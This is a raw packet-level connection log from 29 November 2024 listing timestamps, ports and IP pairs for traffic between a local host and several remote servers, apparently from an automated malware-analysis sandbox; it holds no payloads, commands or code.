Nov 29, 2024 20:07:41.877573967 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.877681017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.877682924 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.877737999 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.878292084 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.878387928 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.878391027 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.878441095 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.878983974 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.879076004 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.879221916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.879796982 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.879897118 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.880105972 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.880233049 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.880462885 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.880562067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.880703926 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.881217957 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.881326914 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.881349087 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.881486893 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.881890059 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.881975889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.882019043 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.882072926 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.882692099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.882786989 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.883053064 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.883445978 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.883536100 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.883539915 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.883624077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.884048939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.884145021 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.884181976 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.884277105 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.884814024 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.884912968 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.884927034 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.885041952 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.885720968 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.885761976 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.885787964 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.885907888 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.886553049 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.886646986 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.886678934 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.886740923 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.886985064 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.887049913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.887085915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.887204885 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.887739897 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.887824059 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.887845993 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.887931108 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.888407946 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.888501883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.888582945 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.889095068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.889199972 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.889272928 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.889327049 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.890023947 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.890072107 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.890083075 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.890172005 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.890615940 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.890678883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.890722036 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.890755892 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.891283035 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.891412973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.891513109 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.891983032 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.892307997 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.892334938 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.892406940 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.892729998 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.892829895 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.892844915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.892937899 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.893464088 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.893632889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.893639088 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.893682957 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.894164085 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.894258022 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.894356012 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.894871950 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.894972086 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.895189047 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.895287037 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.895587921 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.895694971 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.895731926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.895920992 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.896342993 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.896393061 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.896420956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.896486998 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.897118092 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.897190094 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.897217035 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.897300005 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.898000002 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.898047924 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.898183107 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.898693085 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.898765087 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.898778915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.898860931 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.899251938 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.899296045 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.899379015 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.899405003 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.899408102 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:41.899432898 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.899465084 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:41.899492025 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.899507999 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.899559975 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.899559975 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.899992943 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.900074959 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.900075912 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.902452946 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.907551050 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.907704115 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:41.907711029 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.924261093 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.924376965 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:41.924384117 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.949469090 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:41.950436115 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:41.950450897 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:42.023416042 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:42.026422024 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:42.026443005 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:42.052887917 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.052973986 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.053219080 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.053292036 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.053314924 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.053910971 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.053961992 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.053988934 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.054557085 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.054702997 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.054780960 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.057142973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.057286978 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.057327986 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.057349920 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.057378054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.057430029 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.057446003 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.057508945 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.057508945 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.058146000 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.058238029 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.058265924 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.058415890 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.058855057 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.058988094 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.059030056 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.059106112 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.059617043 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.059691906 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.059711933 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.059838057 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.060308933 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.060385942 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.060484886 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.060564995 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.061006069 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.061080933 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.061090946 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.061187983 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.061697006 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.061775923 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.061844110 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.061923027 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.062463999 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.062655926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.062745094 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.063190937 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.063283920 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.063323975 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.063405991 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.063910007 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.064006090 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.064011097 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.064106941 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.064641953 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.064719915 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.064734936 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:42.064822912 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:42.109868050 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:42.109927893 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:42.109947920 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:42.109971046 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:42.110388994 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:42.110598087 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:42.110598087 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:42.110615015 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:42.110621929 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:42.516098022 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:42.516140938 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:42.516201973 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:42.516547918 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:42.516565084 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:43.822107077 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:43.826066017 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:43.862339020 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:43.862358093 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:43.862587929 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:43.867486954 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:43.867676973 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:43.867712975 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:43.870618105 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:43.870626926 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:44.356807947 CET	50069	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:44.357218981 CET	50074	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:44.478596926 CET	80	50069	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:44.478645086 CET	80	50074	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:44.478655100 CET	50069	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:44.478722095 CET	50074	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:44.485316038 CET	50074	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:44.605844975 CET	80	50074	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:45.462333918 CET	50075	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:07:45.572091103 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:45.572185040 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:45.572417974 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:45.572417974 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:45.582540035 CET	80	50075	185.215.113.206	192.168.2.4
Nov 29, 2024 20:07:45.583579063 CET	50075	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:07:45.583998919 CET	50075	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:07:45.703943968 CET	80	50075	185.215.113.206	192.168.2.4
Nov 29, 2024 20:07:45.781382084 CET	50076	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:45.781420946 CET	443	50076	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:45.781610012 CET	50076	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:45.781843901 CET	50076	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:45.781858921 CET	443	50076	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:45.883604050 CET	80	50074	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:45.883706093 CET	50074	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:45.887236118 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:45.887238979 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:46.010561943 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:46.010673046 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:46.010864019 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:46.011111021 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:46.011334896 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:46.064133883 CET	50073	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:46.064146042 CET	443	50073	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:46.130876064 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:46.962636948 CET	80	50075	185.215.113.206	192.168.2.4
Nov 29, 2024 20:07:46.962739944 CET	50075	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:07:46.968779087 CET	50075	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:07:47.015974045 CET	443	50076	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:47.016062021 CET	50076	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:47.017339945 CET	50076	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:47.017370939 CET	443	50076	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:47.017607927 CET	443	50076	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:47.019419909 CET	50076	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:47.019556999 CET	50076	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:47.019598007 CET	443	50076	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:47.088727951 CET	80	50075	185.215.113.206	192.168.2.4
Nov 29, 2024 20:07:47.420731068 CET	80	50075	185.215.113.206	192.168.2.4
Nov 29, 2024 20:07:47.420902967 CET	50075	80	192.168.2.4	185.215.113.206
Nov 29, 2024 20:07:47.433705091 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.433715105 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.433847904 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.434329033 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.434415102 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.434423923 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.434452057 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.434473038 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.435264111 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.435333014 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.435339928 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.435348034 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.435513973 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.435558081 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.435722113 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.435746908 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.435796022 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.553849936 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.553957939 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.554054022 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.554143906 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.558024883 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.558110952 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.559802055 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.559822083 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.559880018 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.559880018 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.644886017 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.644942999 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.645009041 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.649117947 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.649174929 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.654436111 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.657535076 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.657656908 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.657668114 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.657706022 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.665975094 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.666045904 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.666150093 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.666331053 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.674252033 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.674319029 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.674386024 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.675981998 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.682795048 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.682940960 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.682969093 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.683181047 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.691114902 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.691257954 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.691329956 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.691380024 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.699543953 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.699603081 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.699676991 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.699811935 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.707439899 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.707515001 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.707535028 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.708357096 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.715296030 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.715492964 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.715517998 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.716145992 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.723191977 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.723301888 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:47.813827038 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:47.813925982 CET	80	50077	185.215.113.16	192.168.2.4
